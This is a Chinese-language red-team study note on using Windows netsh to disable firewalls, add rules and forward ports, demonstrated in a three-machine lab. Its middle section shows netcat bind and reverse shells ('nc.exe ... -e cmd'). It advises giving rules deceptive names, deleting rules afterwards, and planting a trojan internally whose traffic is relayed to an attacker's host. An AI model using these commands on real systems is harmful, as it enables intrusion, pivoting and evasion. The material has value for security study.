使用netsh來進行端口轉發

目錄

0x00 簡介shell

0x01 2003命令介紹windows

0x02 2003之後命令介紹(以08爲例)網絡

0x03 實際利用案例tcp

0x04 流量轉發工具

0x00 簡介

netsh(Network Shell) 是一個windows系統自己提供的功能強大的網絡配置命令行工具(來源於百度百科)。學習

注:命令行

如下全部例子以三臺機器爲例來進行演示了3d

假設03和08爲邊界機器,Ubuntu爲內網機器code

win2003 192.168.191.128blog

win2008 192.168.191.131

Ubuntu 192.168.191.130

PS:爲了幫助你們理解,03和08的例子採用了兩種查看命令執行結果的方式

0x01 2003命令介紹

基本介紹

netsh firewall show state 查看系統防火牆狀態

file

netsh firewall set opmode disable 關閉防火牆

file

netsh firewall set opmode enable 開啓防火牆

file

設置進出站規則

根據端口

netsh firewall add portopening 協議 端口 名字

協議:TCP/UDP/ALL

端口:1-65535

名字:隨意,最好使用一些有迷惑性的

netsh firewall add portopening tcp 333 test  添加規則

file

netsh firewall delete portopening tcp 333 刪除規則

file

根據進程

netsh firewall add allowedprogram 位置名字 容許與否
netsh firewall add allowedprogram c://nc.exe test enable 添加規則

file

file

netsh firewall delete allowedprogram c:\nc.exe 刪除規則

file

部分單詞也不須要所有記住,知道開頭的內容,後面靠幫助信息進行操做就能夠了

file

0x02 2003之後命令介紹(以08爲例)

netsh advfirewall show allprofiles 查看全部類型的防火牆狀態

file

netsh advfirewall set allprofiles state off 關閉防火牆

file

netsh advfirewall set allprofiles state on 開啓防火牆

file

netsh advfirewall reset 重置防火牆規則(重置到剛裝好系統時的狀態)

file

設置進出站規則

根據端口

入站規則

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333 添加規則

file

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333 刪除規則

file

出站規則

netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=333 添加規則

file

netsh advfirewall firewall delete rule name=test dir=out protocol=tcp localport=333 刪除規則

file

根據進程

入站規則

netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\nc.exe 添加規則

![file](https://graph. nbaidu.com/resource/212ac94af89e440d630a801569551144.png)

netsh advfirewall firewall delete rule name=test dir=in program=c:\nc.exe 刪除規則

file

出站規則

netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\nc.exe 添加規則

file

netsh advfirewall firewall delete rule name=test dir=out program=c:\nc.exe 刪除規則

file

0x03 實際利用案例(以2008爲例)

正向鏈接shell

netsh advfirewall firewall add rule name=ncdir=in action=allow protocol=tcp localport=333

file

nc.exe -lvp 333 -e cmd

file

回到攻擊機上

nc.exe -nv 192.168.191.131 333

file

雖然暫時不明白中間的報錯是由於什麼,可是是能夠成功彈回shell的

file

最後必定要記得刪除所添加的規則

netsh advfirewall firewall delete rule name=nc protocol=tcp localport=333

file

反向鏈接shell

首先在本地進行監聽

nc.exe -lvp 333

file

而後到08的機子上,添加規則

netsh advfirewall firewall add rule name=nc dir=out action=allow protocol=tcp localport=333

file

而後執行

nc.exe -nv 10.1.135.96 333 -e cmd

注:這裏10.1.135.96是我本地的機子

file

以後就能彈回來shell

file

最後不要忘了順手刪掉添加的規則

file

經過添加進程的,跟這個同理

0x04 流量轉發

地址類型設置以下

file

未來自333端口的流量所有轉發到192.168.191.130的22端口

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

file

netsh interface portproxy show all 查看全部轉發規則

file

添加完成以後必定要查一下端口有沒有起來

file

netsh interface portproxy delete v4tov4 listenport=333 刪除轉發規則

file

使用端口轉發來鏈接內網機器

這裏以08爲例

設置進站規則

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333

file

設置流量轉發

將全部來到333端口的流量所有轉發到192.168.191.130的22端口上

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

file

查看是否添加成功,端口有沒有起來

file

而後鏈接192.168.191.131的333端口,就是鏈接內網中192.168.191.130的22端口

file

file

在結束以後,必定要順手把添加的規則都刪除掉

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333

file

netsh interface portproxy delete v4tov4 listenport=333

file

若是內網機子不能正常連外網的話,也能夠在邊界機器上使用流量轉發來進行鏈接,在內網機器上種馬,使其鏈接邊界機器的指定端口,而後在邊界機器將全部來自本地指定端口的流量,所有都轉發到攻擊者的外網主機上便可

即:

netsh interface portproxy add v4tov4 listenport=本地端口 listenaddress=本地IP connectaddress=攻擊者外網IP connectport=攻擊者外網端口

文章首發公衆號:無意的夢囈(wuxinmengyi)

這是一個記錄紅隊學習、信安筆記,我的成長的公衆號。

掃碼關注便可

file

相關文章
相關標籤/搜索